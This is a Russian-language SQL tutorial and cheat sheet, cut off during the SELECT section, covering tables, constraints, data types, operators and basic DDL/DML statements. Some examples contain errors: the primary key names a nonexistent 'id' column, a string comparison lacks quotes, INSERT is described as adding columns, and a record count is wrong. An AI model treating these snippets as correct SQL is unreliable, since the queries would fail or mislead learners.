[`Свежий туториал по SQL`](https://www.youtube.com/watch?app=desktop&v=HXV3zeQKqGY) от Codecamp.
[`Свежая шпаргалка по SQL` в формате `PDF`](https://websitesetup.org/wp-content/uploads/2020/08/SQL-Cheat-Sheet-Summary-Full.png).
При обнаружении ошибок, опечаток и неточностей, не стесняйтесь писать мне в личку.
Содержание
----------
* [Что такое SQL?](#%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-sql)
* [Почему SQL?](#%D0%BF%D0%BE%D1%87%D0%B5%D0%BC%D1%83-sql)
* [Процесс SQL](#%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81-sql)
* [Команды SQL](#%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D1%8B-sql)
* [Что такое таблица?](#%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0)
* [Что такое поле?](#%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-%D0%BF%D0%BE%D0%BB%D0%B5)
* [Что такое запись или строка?](#%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C-%D0%B8%D0%BB%D0%B8-%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B0)
* [Что такое колонка?](#%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-%D0%BA%D0%BE%D0%BB%D0%BE%D0%BD%D0%BA%D0%B0)
* [`Что такое NULL`?](#%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-null)
* [Ограничения](#%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%B8%D1%8F)
* [Целостность данных](#%D1%86%D0%B5%D0%BB%D0%BE%D1%81%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)
* [Нормализация БД](#%D0%BD%D0%BE%D1%80%D0%BC%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-%D0%B1%D0%B4)
* [Синтаксис SQL](#%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%81-sql)
* [Типы данных](#%D1%82%D0%B8%D0%BF%D1%8B-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)
* [Операторы](#%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B)
* [Выражения](#%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F)
* [Создание БД](#%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5-%D0%B1%D0%B4)
* [Удаление БД](#%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B1%D0%B4)
* [Выбор БД](#%D0%B2%D1%8B%D0%B1%D0%BE%D1%80-%D0%B1%D0%B4)
* [Создание таблицы](#%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D1%8B)
* [Удаление таблицы](#%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D1%8B)
* [Добавление колонок](#%D0%B4%D0%BE%D0%B1%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BA%D0%BE%D0%BB%D0%BE%D0%BD%D0%BE%D0%BA)
* [Выборка полей](#%D0%B2%D1%8B%D0%B1%D0%BE%D1%80%D0%BA%D0%B0-%D0%BF%D0%BE%D0%BB%D0%B5%D0%B9)
* [`Предложение WHERE`](#%D0%BF%D1%80%D0%B5%D0%B4%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5-where)
* [`Операторы AND` и `OR`](#%D0%BA%D0%BE%D0%BD%D1%8A%D1%8E%D0%BA%D1%82%D0%B8%D0%B2%D0%BD%D1%8B%D0%B5-%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B-and-%D0%B8-or)
* [Обновление полей](#%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D0%BE%D0%BB%D0%B5%D0%B9)
* [Удаление записей](#%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D0%B5%D0%B9)
* [`Предложения LIKE` и `REGEX`](#%D0%BF%D1%80%D0%B5%D0%B4%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-like-%D0%B8-regexp)
* [`Предложение TOP`/`LIMIT`/`ROWNUM`](#%D0%BF%D1%80%D0%B5%D0%B4%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5-toplimitrownum)
* [`Предложения ORDER BY` и `GROUP BY`](#%D0%BF%D1%80%D0%B5%D0%B4%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-order-by-%D0%B8-group-by)
* [`Ключевое слово DISTINCT`](#%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%B2%D0%BE%D0%B5-%D1%81%D0%BB%D0%BE%D0%B2%D0%BE-distinct)
* [Соединения](#%D1%81%D0%BE%D0%B5%D0%B4%D0%B8%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F)
* [`Предложение UNION`](#%D0%BF%D1%80%D0%B5%D0%B4%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5-union)
* [`Предложение UNION ALL`](#%D0%BF%D1%80%D0%B5%D0%B4%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5-union-all)
* [Синонимы](#%D1%81%D0%B8%D0%BD%D0%BE%D0%BD%D0%B8%D0%BC%D1%8B)
* [Индексы](#%D0%B8%D0%BD%D0%B4%D0%B5%D0%BA%D1%81%D1%8B)
* [Обновление таблицы](#%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D1%8B)
* [Очистка таблицы](#%D0%BE%D1%87%D0%B8%D1%81%D1%82%D0%BA%D0%B0-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D1%8B)
* [Представления](#%D0%BF%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F)
* [`HAVING`](#having)
* [Транзакции](#%D1%82%D1%80%D0%B0%D0%BD%D0%B7%D0%B0%D0%BA%D1%86%D0%B8%D0%B8)
* [Временные таблицы](#%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%BD%D1%8B%D0%B5-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D1%8B)
* [Клонирование таблицы](#%D0%BA%D0%BB%D0%BE%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D1%8B)
* [Подзапросы](#%D0%BF%D0%BE%D0%B4%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D1%8B)
* [Последовательности](#%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B8)
Что такое SQL?
--------------
SQL — это язык структурированных запросов (Structured Query Language), позволяющий хранить, манипулировать и извлекать данные из реляционных баз данных (далее — РБД, БД).
**[↥ Наверх](#)**
Почему SQL?
-----------
SQL позволяет:
* получать доступ к данным в системах управления РБД
* описывать данные (их структуру)
* определять данные в БД и управлять ими
* взаимодействовать с другими языками через модули SQL, библиотеки и предваритальные компиляторы
* создавать и удалять БД и таблицы
* создавать представления, хранимые процедуры (stored procedures) и функции в БД
* устанавливать разрешения на доступ к таблицам, процедурам и представлениям
**[↥ Наверх](#)**
Процесс SQL
-----------
При выполнении любой SQL-команды в любой RDBMS (Relational Database Management System — система управления РБД, СУБД, например, PostgreSQL, MySQL, MSSQL, SQLite и др.) система определяет наилучший способ выполнения запроса, а движок SQL определяет способ интерпретации задачи.
В данном процессе участвует несколького компонентов:
* диспетчер запросов (Query Dispatcher)
* движок оптимизации (Optimization Engines)
* классический движок запросов (Classic Query Engine)
* движок запросов SQL (SQL Query Engine) и т.д.
Классический движок обрабатывает все не-SQL-запросы, а движок SQL-запросов не обрабатывает логические файлы.
**[↥ Наверх](#)**
Команды SQL
-----------
Стандартными командами для взаимодействия с РБД являются `CREATE`, `SELECT`, `INSERT`, `UPDATE`, `DELETE` и `DROP`. Эти команды могут быть классифицированы следующим образом:
* `DDL` — язык определения данных (Data Definition Language)
| N | Команда | Описание |
| --- | --- | --- |
| 1 | CREATE | Создает новую таблицу, представление таблицы или другой объект в БД |
| 2 | ALTER | Модифицирует существующий в БД объект, такой как таблица |
| 3 | DROP | Удаляет существующую таблицу, представление таблицы или другой объект в БД |
* `DML` — язык изменения данных (Data Manipulation Language)
| N | Команда | Описание |
| --- | --- | --- |
| 1 | SELECT | Извлекает записи из одной или нескольких таблиц |
| 2 | INSERT | Создает записи |
| 3 | UPDATE | Модифицирует записи |
| 4 | DELETE | Удаляет записи |
* `DCL` — язык управления данными (Data Control Language)
| N | Команда | Описание |
| --- | --- | --- |
| 1 | GRANT | Наделяет пользователя правами |
| 1 | REVOKE | Отменяет права пользователя |
*Обратите внимание*: использование верхнего регистра в названиях команд SQL — это всего лишь соглашение, большинство СУБД нечувствительны к регистру. Тем не менее, форма записи инструкций, когда названия команд пишутся большими буквами, а названия таблиц, колонок и др. — маленькими, позволяет быстро определять назначение производимой с данными операции.
**[↥ Наверх](#)**
Что такое таблица?
------------------
Данные в СУБД хранятся в объектах БД, называемых таблицами (tables). Таблица, как правило, представляет собой коллекцию связанных между собой данных и состоит из определенного количества колонок и строк.
Таблица — это самая распространенная и простая форма хранения данных в РБД. Вот пример таблицы с пользователями (users):
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 1 | Igor | 25 | Moscow | active |
| 2 | Vika | 26 | Ekaterinburg | inactive |
| 3 | Elena | 27 | Ekaterinburg | active |
| 4 | Oleg | 28 | Moscow | inactive |
**[↥ Наверх](#)**
Что такое поле?
---------------
Каждая таблица состоит из небольших частей — полей (fields). Полями в таблице users являются userId, userName, age, city и status. Поле — это колонка таблицы, предназначенная для хранения определенной информации о каждой записи в таблице.
*Обратите внимание*: вместо `userId` и `userName` можно было бы использовать `id` и `name`, соответственно. Но при работе с несколькими объектами, содержащими свойство `id`, бывает сложно понять, какому объекту принадлежит идентификатор, особенно, если вы, как и я, часто прибегаете к деструктуризации. Что касается слова `name`, то оно часто оказывается зарезервизованным, т.е. уже используется в среде, в которой выполняется код, поэтому я стараюсь его не использовать.
**[↥ Наверх](#)**
Что такое запись или строка?
----------------------------
Запись или строка (record/row) — это любое единичное вхождение (entry), существующее в таблице. В таблице `users` 5 записей. Проще говоря, запись — это горизонтальное вхождение в таблице.
**[↥ Наверх](#)**
Что такое колонка?
------------------
Колонка (column) — это вертикальное вхождение в таблице, содержащее всю информацию, связанную с определенным полем. В таблице `users` одной из колонок является `city`, которая содержит названия городов, в которых проживают пользователи.
**[↥ Наверх](#)**
Что такое нулевое значение?
---------------------------
Нулевое значение (NULL) — это значение поля, которое является пустым, т.е. нулевое значение — это значение поля, не имеющего значения. Важно понимать, что нулевое значение отличается от значения `0` и от значения поля, содержащего пробелы (``). Поле с нулевым значением - это такое поля, которое осталось пустым при создании записи. Также, следует учитывать, что в некоторых СУБД пустая строка (`''`) — это`NULL`, а в некоторых — это разные значения.
**[↥ Наверх](#)**
Ограничения
-----------
Ограничения (constraints) — это правила, применяемые к данным. Они используются для ограничения данных, которые могут быть записаны в таблицу. Это обеспечивает точность и достоверность данных в БД.
Ограничения могут устанавливаться как на уровне колонки, так и на уровне таблицы.
Среди наиболее распространенных ограничений можно назвать следующие:
* `NOT NULL` — колонка не может иметь нулевое значение
* `DEFAULT` — значение колонки по умолчанию
* `UNIQUE` — все значения колонки должны быть уникальными
* `PRIMARY KEY` — первичный или основной ключ, уникальный идентификатор записи в текущей таблице
* `FOREIGN KEY` — внешний ключ, уникальный идентификатор записи в другой таблице (таблице, связанной с текущей)
* `CHECK` — все значения в колонке должны удовлетворять определенному условию
* `INDEX` — быстрая запись и извлечение данных
Любое ограничение может быть удалено с помощью команды `ALTER TABLE` и `DROP CONSTRAINT` + название ограничения. Некоторые реализации предоставляют сокращения для удаления ограничений и возможность отключать ограничения вместо их удаления.
**[↥ Наверх](#)**
Целостность данных
------------------
В каждой СУБД существуют следующие категории целостности данных:
* целостность объекта (Entity Integrity) — в таблице не должно быть дубликатов (двух и более строк с одинаковыми значениями)
* целостность домена (Domain Integrity) — фильтрация значений по типу, формату или диапазону
* целостность ссылок (Referential integrity) — строки, используемые другими записями (строки, на которые в других записях имеются ссылки), не могут быть удалены
* целостность, определенная пользователем (User-Defined Integrity) — дополнительные правила
**[↥ Наверх](#)**
Нормализация БД
---------------
Нормализация — это процесс эффективной организации данных в БД. Существует две главных причины, обуславливающих необходимость нормализации:
* предотвращение записи в БД лишних данных, например, хранения одинаковых данных в разных таблицах
* обеспечение "оправданной" связи между данными
Нормализация предполагает соблюдение нескольких форм. Форма — это формат структурирования БД. Существует три главных формы: первая, вторая и, соответственно, третья. Я не буду вдаваться в подробности об этих формах, при желании, вы без труда найдете необходимую информацию.
**[↥ Наверх](#)**
Синтаксис SQL
-------------
Синтаксис — это уникальный набор правил и рекомендаций. Все инструкции `SQL` должны начинаться с ключевого слова, такого как `SELECT`, `INSERT`, `UPDATE`, `DELETE`, `ALTER`, `DROP`, `CREATE`, `USE`, `SHOW` и т.п. и заканчиваться точкой с запятой (`;`) (точка с запятой не входит в синтаксис `SQL`, но ее наличия, как правило, требуют консольные клиенты СУБД для обозначения окончания ввода команды). `SQL` не чувствителен к регистру, т.е. `SELECT`, `select` и `SeLeCt` являются идентичными инструкицями. Исключением из этого правила является `MySQL`, где учитывается регистр в названии таблицы.
**Примеры синтаксиса**
```
-- выборка
SELECT col1, col2, ...colN
FROM tableName;
SELECT DISTINCT col1, col2, ...colN
FROM tableName;
SELECT col1, col2, ...colN
FROM tableName
WHERE condition;
SELECT col1, col2, ...colN
FROM tableName
WHERE condition1 AND|OR condition2;
SELECT col2, col2, ...colN
FROM tableName
WHERE colName IN (val1, val2, ...valN);
SELECT col1, col2, ...colN
FROM tableName
WHERE colName BETWEEN val1 AND val2;
SELECT col1, col2, ...colN
FROM tableName
WHERE colName LIKE pattern;
SELECT col1, col2, ...colN
FROM tableName
WHERE condition
ORDER BY colName [ASC|DESC];
SELECT SUM(colName)
FROM tableName
WHERE condition
GROUP BY colName;
SELECT COUNT(colName)
FROM tableName
WHERE condition;
SELECT SUM(colName)
FROM tableName
WHERE condition
GROUP BY colName
HAVING (function condition);
-- создание таблицы
CREATE TABLE tableName (
col1 datatype,
col2 datatype,
...
colN datatype,
PRIMARY KEY (одна или более колонка)
);
-- удаление таблицы
DROP TABLE tableName;
-- создание индекса
CREATE UNIQUE INDEX indexName
ON tableName (col1, col2, ...colN);
-- удаление индекса
ALTER TABLE tableName
DROP INDEX indexName;
-- получение описания структуры таблицы
DESC tableName;
-- очистка таблицы
TRUNCATE TABLE tableName;
-- добавление/удаление/модификация колонок
ALTER TABLE tableName ADD|DROP|MODIFY colName [datatype];
-- переименование таблицы
ALTER TABLE tableName RENAME TO newTableName;
-- вставка значений
INSERT INTO tableName (col1, col2, ...colN)
VALUES (val1, val2, ...valN)
-- обновление записей
UPDATE tableName
SET col1 = val1, col2 = val2, ...colN = valN
[WHERE condition];
-- удаление записей
DELETE FROM tableName
WHERE condition;
-- создание БД
CREATE DATABASE [IF NOT EXISTS] dbName;
-- удаление БД
DROP DATABASE [IF EXISTS] dbName;
-- выбор БД
USE dbName;
-- завершения транзакции
COMMIT;
-- отмена изменений
ROLLBACK;
```
**[↥ Наверх](#)**
Типы данных
-----------
Каждая колонка, переменная и выражение в `SQL` имеют определенный тип данных (data type). Основные категории типов данных:
**Точные числовые**
| Тип данных | От | До |
| --- | --- | --- |
| bigint | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| int | -2,147,483,648 | 2,147,483,647 |
| smallint | -32,768 | 32,767 |
| tinyint | 0 | 255 |
| bit | 0 | 1 |
| decimal | -10^38 +1 | 10^38 -1 |
| numeric | -10^38 +1 | 10^38 -1 |
| money | -922,337,203,685,477.5808 | +922,337,203,685,477.5807 |
| smallmoney | -214,748.3648 | +214,748.3647 |
**Приблизительные числовые**
| Тип данных | От | До |
| --- | --- | --- |
| float | -1.79E + 308 | 1.79E + 308 |
| real | -3.40E + 38 | 3.40E + 38 |
**Дата и время**
| Тип данных | От | До |
| --- | --- | --- |
| datetime | Jan 1, 1753 | Dec 31, 9999 |
| smalldatetime | Jan 1, 1900 | Jun 6, 2079 |
| date | Дата сохраняется в виде June 30, 1991 |
| time | Время сохраняется в виде 12:30 P.M. |
**Строковые символьные**
| N | Тип данных | Описание |
| --- | --- | --- |
| 1 | char | Строка длиной до 8,000 символов (не-юникод символы, фиксированной длины) |
| 2 | varchar | Строка длиной до 8,000 символов (не-юникод символы, переменной длины) |
| 3 | text | Не-юникод данные переменной длины, длиной до 2,147,483,647 символов |
**Строковые символьные (юникод)**
| N | Тип данных | Описание |
| --- | --- | --- |
| 1 | nchar | Строка длиной до 4,000 символов (юникод символы, фиксированной длины) |
| 2 | nvarchar | Строка длиной до 4,000 символов (юникод символы, переменной длины) |
| 3 | ntext | Юникод данные переменной длины, длиной до 1,073,741,823 символов |
**Бинарные**
| N | Тип данных | Описание |
| --- | --- | --- |
| 1 | binary | Данные размером до 8,000 байт (фиксированной длины) |
| 2 | varbinary | Данные размером до 8,000 байт (переменной длины) |
| 3 | image | Данные размером до 2,147,483,647 байт (переменной длины) |
**Смешанные**
| N | Тип данных | Описание |
| --- | --- | --- |
| 1 | timestamp | Уникальные числа, обновляющиеся при каждом изменении строки |
| 2 | uniqueidentifier | Глобально-уникальный идентификатор (GUID) |
| 3 | cursor | Объект курсора |
| 4 | table | Промежуточный результат, предназначенный для дальнейшей обработки |
**[↥ Наверх](#)**
Операторы
---------
Оператор (operators) — это ключевое слово или символ, которые, в основном, используются в инструкциях `WHERE` для выполнения каких-либо операций. Они используются как для определения условий, так и для объединения нескольких условий в инструкции.
В дальнейших примерах мы будем исходить из предположения, что переменная `a` имеет значение `10`, а `b` — `20`.
**Арифметические**
| Оператор | Описание | Пример |
| --- | --- | --- |
| + (сложение) | Сложение значений | a + b = 30 |
| — (вычитание) | Вычитание правого операнда из левого | b — a = 10 |
| \* (умножение) | Умножение значений | a \* b = 200 |
| / (деление) | Деление левого операнда на правый | b / a = 2 |
| % (деление с остатком/по модулю) | Деление левого операнда на правый с остатком (возвращается остаток) | b % a = 0 |
**Операторы сравнения**
| Оператор | Описание | Пример |
| --- | --- | --- |
| = | Определяет равенство значений | a = b -> false |
| != | Определяет НЕравенство значений | a != b -> true |
| <> | Определяет НЕравенство значений | a <> b -> true |
| > | Значение левого операнда больше значения правого операнда? | a > b -> false |
| < | Значение левого операнда меньше значения правого операнда? | a < b -> true |
| >= | Значение левого операнда больше или равно значению правого операнда? | a >= b -> false |
| <= | Значение левого операнда меньше или равно значению правого операнда? | a <= b -> true |
| !< | Значение левого операнда НЕ меньше значения правого операнда? | a !< b -> false |
| !> | Значение левого операнда НЕ больше значения правого операнда? | a !> b -> true |
**Логические операторы**
| N | Оператор | Описание |
| --- | --- | --- |
| 1 | ALL | Сравнивает все значения |
| 2 | AND | Объединяет условия (все условия должны совпадать) |
| 3 | ANY | Сравнивает одно значение с другим, если последнее совпадает с условием |
| 4 | BETWEEN | Проверяет вхождение значения в диапазон от минимального до максимального |
| 5 | EXISTS | Определяет наличие строки, соответствующей определенному критерию |
| 6 | IN | Выполняет поиск значения в списке значений |
| 7 | LIKE | Сравнивает значение с похожими с помощью операторов подстановки |
| 8 | NOT | Инвертирует (меняет на противоположное) смысл других логических операторов, например, NOT EXISTS, NOT IN и т.д. |
| 9 | OR | Комбинирует условия (одно из условий должно совпадать) |
| 10 | IS NULL | Определяет, является ли значение нулевым |
| 11 | UNIQUE | Определяет уникальность строки |
**[↥ Наверх](#)**
Выражения
---------
Выражение (expression) — это комбинация значений, операторов и функций для оценки (вычисления) значения. Выражения похожи на формулы, написанные на языке запросов. Они могут использоваться для извлечения из БД определенного набора данных.
Базовый синтаксис выражения выглядит так:
```
SELECT col1, col2, ...colN
FROM tableName
WHERE [condition|expression];
```
Существуют различные типы выражений: логические, числовые и выражения для работы с датами.
**Логические**
Логические выражения извлекают данные на основе совпадения с единичным значением.
```
SELECT col1, col2, ...colN
FROM tableName
WHERE выражение для поиска совпадения с единичным значением;
```
Предположим, что в таблице `users` имеются следующие записи:
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 1 | Igor | 25 | Moscow | active |
| 2 | Vika | 26 | Ekaterinburg | inactive |
| 3 | Elena | 27 | Ekaterinburg | active |
| 4 | Oleg | 28 | Moscow | inactive |
Выполняем поиск активных пользователей:
```
SELECT * FROM users WHERE status = active;
```
Результат:
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 1 | Igor | 25 | Moscow | active |
| 3 | Elena | 27 | Ekaterinburg | active |
**Числовые**
Используются для выполнения арифметических операций в запросе.
```
SELECT numericalExpression as operationName
[FROM tableName
WHERE condition];
```
Простой пример использования числового выражения:
```
SELECT (10 + 5) AS addition;
```
Результат:
| addition |
| --- |
| 15 |
Существует несколько встроенных функций, таких как `count()`, `sum()`, `avg()`, `min()`, `max()` и др. для выполнения так называемых агрегирующих вычислений данных таблицы или колонки.
```
SELECT COUNT(*) AS records FROM users;
```
Результат:
| records |
| --- |
| 4 |
* `AVG` — вычисляет среднее значение
* `SUM` — вычисляет сумму значений
* `MIN` — вычисляет наименьшее значение
* `MAX` — вычисляет наибольшее значение
* `COUNT` — вычисляет количество записей в таблице
Также существует несколько встроенных функций для работы со строками:
* `CONCAT` — объединение строк
* `LENGTH` — возвращает количество символов в строке
* `TRIM` — удаляет пробелы в начале и конце строки
* `SUBSTRING` — извлекает подстроку из строки
* `REPLACE` — заменяет подстроку в строке
* `LOWER` — переводит символы строки в нижний регистр
* `UPPER` — переводит символы строки в верхний регистр и т.д.
с числами:
* `ROUND` — округляет число
* `TRUNCATE` — обрезает дробное число до указанного количества знаков после запятой
* `CEILING` — возвращает наименьшее целое число, которое больше или равно текущему значению
* `FLOOR` — возвращает наибольшее целое число, которое меньше или равно текущему значению
* `POWER` — возводит число в указанную степень
* `SQRT` — возвращает квадратный корень числа
* `RAND` — генерирует случайное число с плавающей точкой в диапазоне от 0 до 1
**Выражения для работы с датами**
Эти выражения, как правило, возвращают текущую дату и время.
```
SELECT CURRENT_TIMESTAMP;
```
Результат:
| Current\_Timestamp |
| --- |
| 2021-06-20 12:45:00 |
`CURRENT_TIMESTAMP` — это и выражение, и функция (`CURRENT_TIMESTAMP()`). Другая функция для получения текущей даты и времени — `NOW()`.
Другие функции для получения текущей даты и времени:
* `CURDATE`/`CURRENT_DATE` — возвращает текущую дату
* `CURTIME`/`CURRENT_TIME` — возвращает текущее время и т.д.
Функции для разбора даты и времени:
* `DAYOFMONTH(date)` — возвращает день месяца в виде числа
* `DAYOFWEEK(date)` — возвращает день недели в виде числа
* `DAYOFYEAR(date)` — возвращает номер дня в году
* `MONTH(date)` — возвращает месяц
* `YEAR(date)` — возвращает год
* `LAST_DAY(date)` — возвращает последний день месяца в виде даты
* `HOUR(time)` — возвращает час
* `MINUTE(time)` — возвращает минуты
* `SECOND(time)` — возвращает секунды и др.
Функции для манипулирования датами:
* `DATE_ADD(date, interval)` — выполняет сложение даты и определенного временного интервала
* `DATE_SUB(date, interval)` — выполняет вычитание из даты определенного временного интервала
* `DATEDIFF(date1, date2)` — возвращает разницу в днях между двумя датами
* `TO_DAYS(date)` — возвращает количество дней с 0-го дня года
* `TIME_TO_SEC(time)` — возвращает количество секунд с полуночи и др.
Для форматирования даты и времени используются функции `DATE_FORMAT(date, format)` и `TIME_FORMAT(date, format)`, соответственно.
**[↥ Наверх](#)**
Создание БД
-----------
Для создания БД используется инструкция `CREATE DATABASE`.
```
CREATE DATABASE dbName;
-- или
CREATE DATABASE IF NOT EXISTS dbName;
```
Условие `IF NOT EXISTS` позволяет избежать получения ошибки при попытке создания БД, которая уже существует.
Название БД должно быть уникальным в пределах СУБД.
Создаем БД `testDB`:
```
CREATE DATABASE testDB;
```
Получаем список БД:
```
SHOW DATABASES;
```
Результат:
| Database |
| --- |
| information\_schema |
| postgres |
| testDB |
**[↥ Наверх](#)**
Удаление БД
-----------
Для удаления БД используется инструкция `DROP DATABASE`.
```
DROP DATABASE dbName;
-- или
DROP DATABASE IF EXISTS dbName;
```
Условие `IF EXISTS` позволяет избежать получения ошибки при попытке удаления несуществующей БД.
Удаляем `testDB`:
```
DROP DATABASE testDB;
```
*Обратите внимание*: при удалении БД уничтожаются все данные, которые в ней хранятся, так что будьте предельно внимательны при использовании данной команды.
Проверяем, что БД удалена:
```
SHOW DATABASES;
```
Для получения списка таблиц используется инструкция `SHOW TABLES`.
Результат:
| Database |
| --- |
| information\_schema |
| postgres |
**[↥ Наверх](#)**
Выбор БД
--------
При наличии нескольких БД, перед выполнением каких-либо операций, необходимо выбрать БД. Для этого используется инструкция `USE`.
```
USE dbName;
```
Предположим, что мы не удаляли `testDB`. Тогда мы можем выбрать ее так:
```
USE testDB;
```
**[↥ Наверх](#)**
Создание таблицы
----------------
Создание таблицы предполагает указание названия таблицы и определение колонок таблицы и их типов данных. Для создания таблицы используется инструкция `CREATE TABLE`.
```
CREATE TABLE tableName (
col1 datatype,
col2 datatype,
...
colN datatype,
PRIMARY KEY (хотя бы одна колонка)
);
```
Для создания таблицы путем копирования другой таблицы используется сочетание `CREATE TABLE` и `SELECT`.
Пример создания таблицы `users`, где первичным ключом являются идентификаторы пользователей, а поля для имени и возраста пользователя не могут быть нулевыми:
```
CREATE TABLE users (
userId INT,
userName VARCHAR(20) NOT NULL,
age INT NOT NULL,
city VARCHAR(20),
status VARCHAR(8),
PRIMARY KEY (id)
);
```
Проверяем, что таблица была создана:
```
DESC users;
```
Результат:
| Field | Type | Null | Key | Default | Extra |
| --- | --- | --- | --- | --- | --- |
| userId | int(11) | NO | PRI | | |
| userName | varchar(20) | NO | | | |
| age | int(11) | NO | | | |
| city | varchar(20) | NO | | | |
| status | varchar(8) | YES | | NULL | |
**[↥ Наверх](#)**
Удаление таблицы
----------------
Для удаления таблицы используется инструкция `DROP TABLE`.
*Обратите внимание*: при удалении таблицы, навсегда удаляются все хранящиеся в ней данные, индексы, триггеры, ограничения и разрешения, так что будьте предельно внимательны при использовании данной команды.
Удаляем таблицу `users`:
```
DROP TABLE users;
```
Теперь, если мы попытаемся получить описание `users`, то получим ошибку:
```
DESC users;
-- ERROR 1146 (42S02): Table 'testDB.users' doesn't exist
```
**[↥ Наверх](#)**
Добавление колонок
------------------
Для добавления в таблицу колонок используется инструкция `INSERT INTO`.
```
INSERT INTO tableName (col1, col2, ...colN)
VALUES (val1, val2, ...valN);
```
Названия колонок можно не указывать, однако, в этом случае значения должны перечисляться в правильном порядке.
```
INSERT INTO tableName VALUES (val1, val2, ...valN);
```
Во избежание ошибок, рекомендуется всегда перечислять названия колонок.
Предположим, что мы не удаляли таблицу `users`. Заполним ее пользователями:
```
INSERT INTO users (userId, userName, age, city, status)
VALUES (1, 'Igor', 25, 'Moscow', 'active');
INSERT INTO users (userId, userName, age, city, status)
VALUES (2, 'Vika', 26, 'Ekaterinburg', 'inactive');
INSERT INTO users (userId, userName, age, city, status)
VALUES (3, 'Elena', 27, 'Ekaterinburg', 'active');
```
В таблицу можно добавлять несколько строк за один раз.
```
INSERT INTO users (userId, userName, age, city, status)
VALUES
(1, 'Igor', 25, 'Moscow', 'active'),
(2, 'Vika', 26, 'Ekaterinburg', 'inactive'),
(3, 'Elena', 27, 'Ekaterinburg', 'active');
```
Также, как было отмечено, при добавлении строки названия полей можно опускать:
```
INSERT INTO users
VALUES (4, 'Oleg', 28, 'Moscow', 'inactive');
```
Результат:
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 1 | Igor | 25 | Moscow | active |
| 2 | Vika | 26 | Ekaterinburg | inactive |
| 3 | Elena | 27 | Ekaterinburg | active |
| 4 | Oleg | 28 | Moscow | inactive |
**Заполнение таблицы с помощью другой таблицы**
```
INSERT INTO tableName [(col1, col2, ...colN)]
SELECT col1, col2, ...colN
FROM anotherTable
[WHERE condition];
```
**[↥ Наверх](#)**
Выборка полей
-------------
Для выборки полей из таблицы используется инструкция `SELECT`. Она возвращает данные в виде результирующей таблицы (результирующего набора, result-set).
```
SELECT col1, col2, ...colN
FROM tableName;
```
Для выборки всех полей используется такой синтаксис:
```
SELECT * FROM tableName;
```
Произведем выборку полей `userId`, `userName` и `age` из таблицы `users`:
```
SELECT userId, userName, age FROM users;
